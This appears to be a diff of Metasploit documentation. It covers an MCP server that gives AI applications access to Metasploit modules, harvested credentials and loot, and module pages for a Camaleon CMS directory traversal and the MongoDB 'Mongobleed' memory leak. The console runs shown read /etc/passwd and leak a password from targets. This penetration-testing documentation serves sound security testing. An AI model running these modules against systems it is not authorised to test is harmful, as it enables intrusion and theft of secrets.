| `MSF_API_HOST` | Metasploit RPC API host |
|
||||
| `MSF_API_PORT` | Metasploit RPC API port |
|
||||
| `MSF_API_SSL` | Use SSL for Metasploit RPC API (`true` or `false`) |
|
||||
| `MSF_API_ENDPOINT` | Metasploit RPC API endpoint |
|
||||
| `MSF_API_USER` | RPC API username (for MessagePack auth) |
|
||||
| `MSF_API_PASSWORD` | RPC API password (for MessagePack auth) |
|
||||
| `MSF_API_TOKEN` | RPC API token (for JSON-RPC auth) |
|
||||
| `MSF_AUTO_START_RPC` | Auto-start RPC server (`true` or `false`) |
|
||||
| `MSF_MCP_TRANSPORT` | MCP transport type (`stdio` or `http`) |
|
||||
| `MSF_MCP_HOST` | MCP server host (for HTTP transport) |
|
||||
| `MSF_MCP_PORT` | MCP server port (for HTTP transport) |
|
||||
|
||||
Example using environment variables:
|
||||
|
||||
```
|
||||
MSF_API_HOST=192.168.33.44 ./msfmcpd --config ./config/mcp_config.yaml
|
||||
```
|
||||
|
||||
## Automatic RPC Server Management
|
||||
|
||||
When using MessagePack RPC on localhost, the MCP server can automatically manage the Metasploit RPC server lifecycle. This is enabled by default.
|
||||
|
||||
### How It Works
|
||||
|
||||
1. **Detection**: On startup, the MCP server probes the configured RPC port to check if a server is already running.
|
||||
2. **Auto-start**: If no server is detected, it spawns the `msfrpcd` executable as a child process.
|
||||
3. **Credentials**: If no username and password are provided, random credentials are generated automatically and used for both the RPC server and client authentication.
|
||||
4. **Wait**: After starting, it polls the port until the RPC server becomes available (timeout: 30 seconds).
|
||||
5. **Shutdown**: When the MCP server shuts down (via Ctrl+C or SIGTERM), it cleans up the managed RPC process.
|
||||
|
||||
**Note**: If an RPC server is already running, credentials must be provided via `--user`/`--password`, config file, or environment variables to authenticate with it.
|
||||
|
||||
### Database Support
|
||||
|
||||
The auto-started RPC server creates a framework instance with database support enabled by default. If the database is not running when the RPC server starts, a warning is displayed:
|
||||
|
||||
```
|
||||
[WARNING] Database is not available. Some MCP tools that rely on the database will not work.
|
||||
[WARNING] Start the database and restart the MCP server to enable full functionality.
|
||||
```
|
||||
|
||||
Tools that query the database (`msf_host_info`, `msf_service_info`, `msf_vulnerability_info`, `msf_note_info`, `msf_credential_info`, `msf_loot_info`) require a running database. To initialize and start the database:
|
||||
|
||||
```
|
||||
msfdb init
|
||||
msfdb start
|
||||
```
|
||||
|
||||
Then restart the MCP server.
|
||||
|
||||
### Disabling Auto-Start
|
||||
|
||||
Auto-start can be disabled in three ways:
|
||||
|
||||
- CLI flag: `--no-auto-start-rpc`
|
||||
- Config file: `auto_start_rpc: false` in the `msf_api` section
|
||||
- Environment variable: `MSF_AUTO_START_RPC=false`
|
||||
|
||||
Auto-start is also not available when:
|
||||
|
||||
- The API type is `json-rpc` (requires SSL certificates and a web server)
|
||||
- The host is a remote address (cannot start a server on a remote machine)
|
||||
|
||||
When auto-start is disabled and no RPC server is running, you must start `msfrpcd` manually:
|
||||
|
||||
```
|
||||
msfrpcd -U your_username -P your_password -p 55553
|
||||
```
|
||||
|
||||
## MCP Tools
|
||||
|
||||
The server exposes 8 tools to AI applications via the MCP protocol.
|
||||
|
||||
### msf_search_modules
|
||||
|
||||
Search for Metasploit modules by keywords, CVE IDs, or module names.
|
||||
|
||||
- `query` (string, required): Search terms (e.g., `windows smb`, `CVE-2017-0144`)
|
||||
- `limit` (integer, optional): Max results (1-1000, default: 100)
|
||||
- `offset` (integer, optional): Pagination offset (default: 0)
|
||||
|
||||
### msf_module_info
|
||||
|
||||
Get detailed information about a specific Metasploit module.
|
||||
|
||||
- `type` (string, required): Module type (`exploit`, `auxiliary`, `post`, `payload`, `encoder`, `nop`)
|
||||
- `name` (string, required): Module path (e.g., `windows/smb/ms17_010_eternalblue`)
|
||||
|
||||
Returns complete module details including options, targets, references, and authors.
|
||||
|
||||
### msf_host_info
|
||||
|
||||
Query discovered hosts from the Metasploit database.
|
||||
|
||||
- `workspace` (string, optional): Workspace name (default: `default`)
|
||||
- `addresses` (string, optional): Filter by IP/CIDR (e.g., `192.168.1.0/24`)
|
||||
- `only_up` (boolean, optional): Only return alive hosts (default: false)
|
||||
- `limit` (integer, optional): Max results (1-1000, default: 100)
|
||||
- `offset` (integer, optional): Pagination offset (default: 0)
|
||||
|
||||
### msf_service_info
|
||||
|
||||
Query discovered services on hosts.
|
||||
|
||||
- `workspace` (string, optional): Workspace name
|
||||
- `names` (string, optional): Filter by service names, comma-separated (e.g., `http`, `ldap,ssh`)
|
||||
- `host` (string, optional): Filter by host IP
|
||||
- `ports` (string, optional): Filter by port or range (e.g., `80,443` or `1-1024`)
|
||||
- `protocol` (string, optional): Protocol filter (`tcp` or `udp`)
|
||||
- `only_up` (boolean, optional): Only return running services (default: false)
|
||||
- `limit` (integer, optional): Max results (1-1000, default: 100)
|
||||
- `offset` (integer, optional): Pagination offset (default: 0)
|
||||
|
||||
### msf_vulnerability_info
|
||||
|
||||
Query discovered vulnerabilities.
|
||||
|
||||
- `workspace` (string, optional): Workspace name
|
||||
- `names` (array of strings, optional): Filter by vulnerability names (exact, case-sensitive module names)
|
||||
- `host` (string, optional): Filter by host IP
|
||||
- `ports` (string, optional): Filter by port or range
|
||||
- `protocol` (string, optional): Protocol filter (`tcp` or `udp`)
|
||||
- `limit` (integer, optional): Max results (1-1000, default: 100)
|
||||
- `offset` (integer, optional): Pagination offset (default: 0)
|
||||
|
||||
### msf_note_info
|
||||
|
||||
Query notes stored in the database.
|
||||
|
||||
- `workspace` (string, optional): Workspace name
|
||||
- `type` (string, optional): Filter by note type (e.g., `ssl.certificate`, `smb.fingerprint`)
|
||||
- `host` (string, optional): Filter by host IP
|
||||
- `ports` (string, optional): Filter by port or range
|
||||
- `protocol` (string, optional): Protocol filter (`tcp` or `udp`)
|
||||
- `limit` (integer, optional): Max results (1-1000, default: 100)
|
||||
- `offset` (integer, optional): Pagination offset (default: 0)
|
||||
|
||||
### msf_credential_info
|
||||
|
||||
Query discovered credentials.
|
||||
|
||||
- `workspace` (string, optional): Workspace name
|
||||
- `limit` (integer, optional): Max results (1-1000, default: 100)
|
||||
- `offset` (integer, optional): Pagination offset (default: 0)
|
||||
|
||||
### msf_loot_info
|
||||
|
||||
Query collected loot (files, data dumps).
|
||||
|
||||
- `workspace` (string, optional): Workspace name
|
||||
- `limit` (integer, optional): Max results (1-1000, default: 100)
|
||||
- `offset` (integer, optional): Pagination offset (default: 0)
|
||||
|
||||
## Integration with AI Applications
|
||||
|
||||
Add the MCP server to your AI application configuration. The exact format depends on the client.
|
||||
|
||||
### Claude Desktop / Cursor
|
||||
|
||||
```json
|
||||
{
|
||||
"mcpServers": {
|
||||
"metasploit": {
|
||||
"command": "/path/to/metasploit-framework/msfmcpd",
|
||||
"args": [
|
||||
"--config",
|
||||
"/path/to/config/mcp_config.yaml"
|
||||
],
|
||||
"env": {}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Using RVM
|
||||
|
||||
If you use RVM to manage Ruby versions, specify the full path to RVM so the correct Ruby and gemset are used:
|
||||
|
||||
```json
|
||||
{
|
||||
"mcpServers": {
|
||||
"metasploit": {
|
||||
"command": "/your/home_dir/.rvm/bin/rvm",
|
||||
"args": [
|
||||
"in",
|
||||
"/path/to/metasploit-framework",
|
||||
"do",
|
||||
"./msfmcpd",
|
||||
"--config",
|
||||
"config/mcp_config.yaml"
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Security Considerations
|
||||
|
||||
### Input Validation
|
||||
|
||||
All tool parameters are validated against strict JSON schemas. IP addresses are validated using Ruby's `IPAddr` class with CIDR support, workspace names are restricted to alphanumeric characters plus underscore/hyphen, port ranges are validated (1-65535), and search queries are limited to 500 characters.
|
||||
|
||||
### Credential Management
|
||||
|
||||
Configuration files should use `chmod 600` permissions. Credentials are transmitted securely to the Metasploit Framework API and are never cached or logged by the MCP server.
|
||||
|
||||
### Rate Limiting
|
||||
|
||||
The server applies rate limiting to all MCP tools using a token bucket algorithm. Default: 60 requests per minute with a burst of 10 requests. This is configurable in the `rate_limit` section of the configuration file.
|
||||
|
||||
### Logging
|
||||
|
||||
Logging is disabled by default. When enabled (via `--enable-logging` or config), sensitive data (passwords, tokens, API keys) is automatically redacted. Log files should be protected with `chmod 600`.
|
||||
|
||||
### Error Handling
|
||||
|
||||
Stack traces are never exposed to clients. Error messages are sanitized to avoid leaking credentials. Metasploit API errors are wrapped in the MCP error format.
|
||||
|
||||
## Testing with MCP Inspector
|
||||
|
||||
The [MCP Inspector](https://github.com/modelcontextprotocol/inspector) is an interactive developer tool for testing and debugging MCP servers. It runs directly through `npx`:
|
||||
|
||||
```
|
||||
npx @modelcontextprotocol/inspector
|
||||
```
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Connection Refused or Timeout
|
||||
|
||||
1. Verify the RPC daemon is running: `ps aux | grep msfrpcd`
|
||||
2. Check the port is listening: `netstat -an | grep 55553`
|
||||
3. Test connectivity: `curl -k -v https://localhost:55553/api/`
|
||||
|
||||
### Authentication Failures
|
||||
|
||||
For MessagePack RPC, verify the username and password in your configuration file or CLI arguments. For JSON-RPC, verify the bearer token is valid and has not expired.
|
||||
|
||||
### Database Not Available
|
||||
|
||||
If database-dependent tools return errors, ensure the database is running:
|
||||
|
||||
```
|
||||
msfdb init
|
||||
msfdb start
|
||||
```
|
||||
|
||||
Then restart the MCP server.
|
||||
|
||||
### Rate Limit Exceeded
|
||||
|
||||
Increase the rate limit in your configuration file:
|
||||
|
||||
```yaml
|
||||
rate_limit:
|
||||
requests_per_minute: 120
|
||||
burst_size: 20
|
||||
```
|
||||
@@ -448,6 +448,9 @@ NAVIGATION_CONFIG = [
|
||||
{
|
||||
path: 'How-to-use-Metasploit-with-ngrok.md'
|
||||
},
|
||||
{
|
||||
path: 'How-to-use-Metasploit-MCP-Server.md'
|
||||
},
|
||||
]
|
||||
},
|
||||
]
|
||||
|
||||
@@ -0,0 +1,216 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module attempts to read files from an authenticated directory traversal vuln in Camaleon CMS versions <= 2.8.0 and version 2.9.0.
|
||||
|
||||
CVE-2024-46987 mistakenly indicates that versions 2.8.1 and 2.8.2 are also vulnerable, however this is not the case.
|
||||
|
||||
## Setup
|
||||
|
||||
See [Camaleon CMS](https://github.com/owen2345/camaleon-cms) documentation.
|
||||
|
||||
The following describes how to setup Camaleon CMS version 2.8.0 on Ubuntu.
|
||||
|
||||
### Requirements
|
||||
|
||||
- Rails 6.1+
|
||||
- PostgreSQL, MySQL 5+ or SQlite
|
||||
- Ruby 3.0+
|
||||
- Imagemagick
|
||||
|
||||
### Install Ruby
|
||||
|
||||
guides.rubyonrails.org/install_ruby_on_rails.html
|
||||
|
||||
~~~bash
|
||||
sudo apt install build-essential rustc libssl-dev libyaml-dev zlib1g-dev libgmp-dev git curl
|
||||
~~~
|
||||
|
||||
### Install Mise
|
||||
|
||||
~~~bash
|
||||
curl https://mise.run | sh
|
||||
echo "eval \"\$(~/.local/bin/mise activate)\"" >> ~/.bashrc
|
||||
source ~/.bashrc
|
||||
~~~
|
||||
|
||||
### Install Ruby with Mise
|
||||
|
||||
~~~bash
|
||||
$ mise use -g ruby@3.0
|
||||
|
||||
$ ruby --version
|
||||
ruby 3.0.7p220 ...
|
||||
~~~
|
||||
|
||||
### Install Imagemagick
|
||||
|
||||
~~~bash
|
||||
sudo apt install --no-install-recommends imagemagick
|
||||
~~~
|
||||
|
||||
### Install Postgresql
|
||||
|
||||
~~~bash
|
||||
sudo apt install postgresql
|
||||
~~~
|
||||
|
||||
### Install Rails
|
||||
|
||||
~~~bash
|
||||
$ gem install rails -v 6.1
|
||||
~~~
|
||||
|
||||
#### concurrent-ruby Issue
|
||||
|
||||
Downgrade concurrent-ruby to 1.3.4
|
||||
|
||||
~~~bash
|
||||
$ gem list concurrent-ruby
|
||||
concurrent-ruby (1.3.6)
|
||||
|
||||
$ gem install concurrent-ruby -v 1.3.4
|
||||
$ gem uninstall concurrent-ruby -v 1.3.6
|
||||
|
||||
$ rails --version
|
||||
Rails 6.1.7.10
|
||||
~~~
|
||||
|
||||
### Create Rails Project
|
||||
|
||||
Run `rails new camaleon_project`
|
||||
|
||||
### Gemfile
|
||||
|
||||
In your Gemfile do the following:
|
||||
|
||||
Replace `gem 'spring'` with `gem 'spring', '4.2.1'`
|
||||
|
||||
|
||||
Delete this line to prevent [conflict](https://github.com/owen2345/camaleon-cms/issues/1111): `gem 'sass-rails', '>= 6'`
|
||||
|
||||
Put these lines at the bottom of your Gemfile:
|
||||
|
||||
~~~
|
||||
gem 'camaleon_cms', '2.8.0'
|
||||
gem 'concurrent-ruby', '1.3.4'
|
||||
~~~
|
||||
|
||||
### Install Bundle
|
||||
|
||||
From the project directory run `bundle install`
|
||||
|
||||
### Webpacker.yml Issue
|
||||
|
||||
~~~bash
|
||||
wget -O camaleon_project/config/webpacker.yml https://raw.githubusercontent.com/rails/webpacker/master/lib/install/config/webpacker.yml
|
||||
~~~
|
||||
|
||||
### Camaleon CMS Installation
|
||||
|
||||
~~~bash
|
||||
rails generate camaleon_cms:install
|
||||
rake camaleon_cms:generate_migrations
|
||||
rake db:migrate
|
||||
~~~
|
||||
|
||||
### Run Rails
|
||||
|
||||
~~~bash
|
||||
bundle exec rails server -b 0.0.0.0
|
||||
~~~
|
||||
|
||||
Navigate to `http://{ip address}:3000` and enter test under the Name field.
|
||||
|
||||
### Setup Server
|
||||
|
||||
When prompted with the new installation page just enter "test" into the Name field and continue.
|
||||
|
||||
#### Create Unprivileged User (Optional)
|
||||
|
||||
Navigate to `http://{ip address}:3000/admin` - login with the default admin credentials "admin:admin123"
|
||||
|
||||
Then navigate to "Users -> + Add User" and fill out the form.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: `use auxiliary/gather/camaleon_download_private_file`
|
||||
2. Do: `set RHOST [IP]`
|
||||
3. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
### FILEPATH
|
||||
|
||||
The filepath of the file to read.
|
||||
|
||||
### DEPTH
|
||||
|
||||
The number of "../" appended to the filename. Default is 13
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use auxiliary/gather/camaleon_download_private_file
|
||||
msf auxiliary(gather/camaleon_download_private_file) > set rhost 10.0.0.45
|
||||
rhost => 10.0.0.45
|
||||
msf auxiliary(gather/camaleon_download_private_file) > set rport 3000
|
||||
rport => 3000
|
||||
msf auxiliary(gather/camaleon_download_private_file) > set ssl false
|
||||
ssl => false
|
||||
msf auxiliary(gather/camaleon_download_private_file) > run
|
||||
[*] Running module against 10.0.0.45
|
||||
[+] /etc/passwd stored as '/home/kali/.msf4/loot/20260411192711_default_10.0.0.45_camaleon.travers_926890.txt'
|
||||
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
|
||||
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
|
||||
systemd-timesync:x:996:996:systemd Time Synchronization:/:/usr/sbin/nologin
|
||||
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
|
||||
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
|
||||
syslog:x:102:102::/nonexistent:/usr/sbin/nologin
|
||||
systemd-resolve:x:991:991:systemd Resolver:/:/usr/sbin/nologin
|
||||
uuidd:x:103:103::/run/uuidd:/usr/sbin/nologin
|
||||
usbmux:x:104:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
|
||||
tss:x:105:105:TPM software stack,,,:/var/lib/tpm:/bin/false
|
||||
systemd-oom:x:990:990:systemd Userspace OOM Killer:/:/usr/sbin/nologin
|
||||
kernoops:x:106:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
|
||||
whoopsie:x:107:109::/nonexistent:/bin/false
|
||||
dnsmasq:x:999:65534:dnsmasq:/var/lib/misc:/usr/sbin/nologin
|
||||
avahi:x:108:111:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
|
||||
tcpdump:x:109:112::/nonexistent:/usr/sbin/nologin
|
||||
sssd:x:110:113:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
|
||||
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
|
||||
cups-pk-helper:x:112:114:user for cups-pk-helper service,,,:/nonexistent:/usr/sbin/nologin
|
||||
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
|
||||
saned:x:113:116::/var/lib/saned:/usr/sbin/nologin
|
||||
geoclue:x:114:117::/var/lib/geoclue:/usr/sbin/nologin
|
||||
cups-browsed:x:115:114::/nonexistent:/usr/sbin/nologin
|
||||
hplip:x:116:7:HPLIP system user,,,:/run/hplip:/bin/false
|
||||
gnome-remote-desktop:x:988:988:GNOME Remote Desktop:/var/lib/gnome-remote-desktop:/usr/sbin/nologin
|
||||
polkitd:x:987:987:User for polkitd:/:/usr/sbin/nologin
|
||||
rtkit:x:117:119:RealtimeKit,,,:/proc:/usr/sbin/nologin
|
||||
colord:x:118:120:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
|
||||
gnome-initial-setup:x:119:65534::/run/gnome-initial-setup/:/bin/false
|
||||
gdm:x:120:121:Gnome Display Manager:/var/lib/gdm3:/bin/false
|
||||
nm-openvpn:x:121:122:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
|
||||
bittman:x:1000:1000:bittman:/home/bittman:/bin/bash
|
||||
postgres:x:122:124:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
+6
-6
@@ -52,7 +52,7 @@ This module allows us to scan through a series of IP Addresses and provide detai
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/ftp/anonymous```
|
||||
1. Do: ```use auxiliary/scanner/ftp/ftp_anonymous```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set RPORT [IP]```
|
||||
4. Do: ```run```
|
||||
@@ -62,17 +62,17 @@ This module allows us to scan through a series of IP Addresses and provide detai
|
||||
### vsFTPd 3.0.3 on Kali
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/ftp/anonymous
|
||||
msf auxiliary(anonymous) > set RHOSTS 127.0.0.1
|
||||
msf > use auxiliary/scanner/ftp/ftp_anonymous
|
||||
msf auxiliary(ftp_anonymous) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf auxiliary(anonymous) > set RPORT 21
|
||||
msf auxiliary(ftp_anonymous) > set RPORT 21
|
||||
RPORT => 21
|
||||
msf auxiliary(anonymous) > exploit
|
||||
msf auxiliary(ftp_anonymous) > exploit
|
||||
|
||||
[+] 127.0.0.1:21 - 127.0.0.1:21 - Anonymous READ (220 (vsFTPd 3.0.3))
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(anonymous) >
|
||||
msf auxiliary(ftp_anonymous) >
|
||||
```
|
||||
|
||||
## Confirming using NMAP
|
||||
@@ -1,8 +1,11 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits CVE-2025-14847, a memory disclosure vulnerability in MongoDB's zlib decompression handling, commonly referred to as "Mongobleed."
|
||||
This module exploits CVE-2025-14847, a memory disclosure vulnerability in MongoDB's zlib decompression handling, commonly referred to
|
||||
as "Mongobleed."
|
||||
|
||||
By sending crafted `OP_COMPRESSED` messages with inflated BSON document lengths, the server allocates a buffer based on the claimed uncompressed size but only fills it with the actual decompressed data. When MongoDB parses the BSON document, it reads beyond the decompressed buffer into uninitialized memory, returning leaked memory contents in error messages.
|
||||
By sending crafted `OP_COMPRESSED` messages with inflated BSON document lengths, the server allocates a buffer based on the claimed
|
||||
uncompressed size but only fills it with the actual decompressed data. When MongoDB parses the BSON document, it reads beyond the
|
||||
decompressed buffer into uninitialized memory, returning leaked memory contents in error messages.
|
||||
|
||||
The vulnerability allows unauthenticated remote attackers to leak server memory which may contain sensitive information such as:
|
||||
- Database credentials
|
||||
@@ -11,7 +14,8 @@ The vulnerability allows unauthenticated remote attackers to leak server memory
|
||||
- Connection strings
|
||||
- Application data
|
||||
|
||||
**Note:** This vulnerability only affects servers with zlib compression enabled. The module will check for zlib compression support before attempting exploitation.
|
||||
This vulnerability only affects servers with zlib compression enabled. The module checks for zlib compression support before attempting
|
||||
exploitation.
|
||||
|
||||
### Vulnerable Versions
|
||||
|
||||
@@ -39,44 +43,14 @@ Per [MongoDB JIRA SERVER-115508](https://jira.mongodb.org/browse/SERVER-115508):
|
||||
## Verification Steps
|
||||
|
||||
1. Install a vulnerable MongoDB version (e.g., MongoDB 7.0.15)
|
||||
2. Start the MongoDB service
|
||||
2. Start the MongoDB service with zlib compression enabled
|
||||
3. Start msfconsole
|
||||
4. `use auxiliary/scanner/mongodb/cve_2025_14847_mongobleed`
|
||||
5. `set RHOSTS <target>`
|
||||
6. `set ACTION CHECK` then `run` (optional - quick vulnerability check)
|
||||
7. `set ACTION SCAN` then `run` (full exploitation)
|
||||
6. `check` to verify the target is vulnerable
|
||||
7. `run` to perform the full memory leak scan
|
||||
8. Verify that memory contents are leaked and saved to loot
|
||||
|
||||
## Actions
|
||||
|
||||
The module supports two actions:
|
||||
|
||||
### SCAN (Default)
|
||||
Full exploitation that scans memory offsets and extracts leaked data.
|
||||
|
||||
### CHECK
|
||||
Quick vulnerability check using the Wiz Research "magic packet" technique for deterministic vulnerability detection. This action:
|
||||
|
||||
1. Checks the MongoDB version against known vulnerable versions
|
||||
2. Verifies that zlib compression is enabled on the server
|
||||
3. Sends a specially crafted packet that triggers the memory leak
|
||||
4. Analyzes the response for BSON signatures in leaked memory
|
||||
|
||||
This provides a quick, low-impact way to confirm vulnerability without performing a full memory scan.
|
||||
|
||||
```
|
||||
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set ACTION CHECK
|
||||
ACTION => CHECK
|
||||
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
|
||||
|
||||
[*] 192.168.1.100:27017 - Running vulnerability check against 192.168.1.100:27017...
|
||||
[*] 192.168.1.100:27017 - MongoDB version: 7.0.14
|
||||
[+] 192.168.1.100:27017 - Version 7.0.14 appears vulnerable, confirming with probe...
|
||||
[*] 192.168.1.100:27017 - Server compressors: zlib, snappy
|
||||
[*] 192.168.1.100:27017 - Sending Wiz magic packet to confirm vulnerability...
|
||||
[+] 192.168.1.100:27017 - VULNERABLE - Server leaks memory via CVE-2025-14847 (MongoDB 7.0.14)
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### MIN_OFFSET
|
||||
@@ -95,13 +69,15 @@ Padding added to the claimed uncompressed buffer size. Default: `500`
|
||||
Minimum bytes to report as an interesting leak in the output. Default: `10`
|
||||
|
||||
### QUICK_SCAN
|
||||
Enable quick scan mode which samples key offsets (power-of-2 boundaries, etc.) instead of scanning every offset. Much faster but may miss some leaks. Default: `false`
|
||||
Enable quick scan mode which samples key offsets (power-of-2 boundaries, etc.) instead of scanning every offset. Much faster but may
|
||||
miss some leaks. Default: `false`
|
||||
|
||||
### REPEAT
|
||||
Number of scan passes to perform. Memory contents change over time, so multiple passes can capture more data. Default: `1`
|
||||
|
||||
### REUSE_CONNECTION
|
||||
Reuse TCP connection for faster scanning. When enabled, the module maintains a persistent connection instead of reconnecting for each probe. This can improve scanning speed by 10-50x. Default: `true`
|
||||
Reuse TCP connection for faster scanning. When enabled, the module maintains a persistent connection instead of reconnecting for each
|
||||
probe. This can improve scanning speed by 10-50x. Default: `true`
|
||||
|
||||
## Advanced Options
|
||||
|
||||
@@ -124,29 +100,38 @@ Show progress every N offsets. Set to 0 to disable. Default: `500`
|
||||
Save all raw MongoDB responses to a separate loot file for offline analysis with tools like `strings`, `binwalk`, etc. Default: `false`
|
||||
|
||||
### SAVE_JSON
|
||||
Save leaked data as a JSON report with full metadata including offsets, timestamps, base64-encoded data, and detected secrets. Useful for automated processing or integration with other tools. Default: `true`
|
||||
Save leaked data as a JSON report with full metadata including offsets, timestamps, base64-encoded data, and detected secrets. Useful
|
||||
for automated processing or integration with other tools. Default: `true`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Using the CHECK Action
|
||||
### Vulnerability Check
|
||||
|
||||
The module supports the standard `check` command. It fingerprints the MongoDB version, verifies zlib compression is enabled, and sends
|
||||
a crafted magic packet to confirm exploitability.
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/scanner/mongodb/cve_2025_14847_mongobleed
|
||||
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set RHOSTS 192.168.1.100
|
||||
RHOSTS => 192.168.1.100
|
||||
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set ACTION CHECK
|
||||
ACTION => CHECK
|
||||
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
|
||||
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > check
|
||||
|
||||
[*] 192.168.1.100:27017 - Running vulnerability check against 192.168.1.100:27017...
|
||||
[*] 192.168.1.100:27017 - MongoDB version: 7.0.14
|
||||
[+] 192.168.1.100:27017 - Version 7.0.14 appears vulnerable, confirming with probe...
|
||||
[*] 192.168.1.100:27017 - Server compressors: zlib, snappy
|
||||
[*] 192.168.1.100:27017 - Sending Wiz magic packet to confirm vulnerability...
|
||||
[+] 192.168.1.100:27017 - VULNERABLE - Server leaks memory via CVE-2025-14847 (MongoDB 7.0.14)
|
||||
[+] 192.168.1.100:27017 - The target is vulnerable. Server leaks memory via crafted OP_COMPRESSED message (MongoDB 4.4.26)
|
||||
```
|
||||
|
||||
### MongoDB 7.0.14 on Linux (with Connection Reuse)
|
||||
When pointed at a non-MongoDB service, the check correctly identifies it as not vulnerable:
|
||||
|
||||
```
|
||||
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set RHOSTS 192.168.1.200
|
||||
RHOSTS => 192.168.1.200
|
||||
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set RPORT 80
|
||||
RPORT => 80
|
||||
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > check
|
||||
|
||||
[-] 192.168.1.200:80 - The target is not exploitable. Target does not appear to be a MongoDB service
|
||||
```
|
||||
|
||||
### MongoDB 4.4.26 on Windows
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/scanner/mongodb/cve_2025_14847_mongobleed
|
||||
@@ -154,26 +139,25 @@ msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set RHOSTS 192.168.1
|
||||
RHOSTS => 192.168.1.100
|
||||
msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run
|
||||
|
||||
[*] 192.168.1.100:27017 - MongoDB version: 7.0.14
|
||||
[+] 192.168.1.100:27017 - Version 7.0.14 is VULNERABLE to CVE-2025-14847
|
||||
[*] 192.168.1.100:27017 - Server compressors: zlib, snappy
|
||||
[*] 192.168.1.100:27017 - MongoDB version: 4.4.26
|
||||
[+] 192.168.1.100:27017 - Version 4.4.26 is VULNERABLE to CVE-2025-14847
|
||||
[*] 192.168.1.100:27017 - Server compressors: zlib
|
||||
[*] 192.168.1.100:27017 - Connection reuse enabled for faster scanning
|
||||
[*] 192.168.1.100:27017 - Scanning 8173 offsets (20-8192, step=1)
|
||||
[+] 192.168.1.100:27017 - offset=20 len=82 : [conn38248] end connection 10.0.0.5:36845 (0 connections now open)
|
||||
[+] 192.168.1.100:27017 - offset=163 len=617 : driver: { name: "mongoc / ext-mongodb:PHP ", version: "1.24.3" }
|
||||
[+] 192.168.1.100:27017 - offset=501 len=40 : id bson type in element with field name
|
||||
[*] 192.168.1.100:27017 - Progress: 500/8173 (6.1%) - 7 leaks found - ETA: 49s
|
||||
[+] 192.168.1.100:27017 - offset=77 len=39 : conn38248] end connection 10.0.0.5:36845
|
||||
[*] 192.168.1.100:27017 - Progress: 500/8173 (6.1%) - 3 leaks found - ETA: 49s
|
||||
[+] 192.168.1.100:27017 - offset=757 len=12 : password=abc
|
||||
[!] 192.168.1.100:27017 - Secret pattern detected at offset 757: 'password' in context: ...config: { password=abc123&user=admin...
|
||||
[*] 192.168.1.100:27017 - Progress: 1000/8173 (12.2%) - 11 leaks found - ETA: 42s
|
||||
[!] 192.168.1.100:27017 - Secret pattern detected at offset 757: 'password'
|
||||
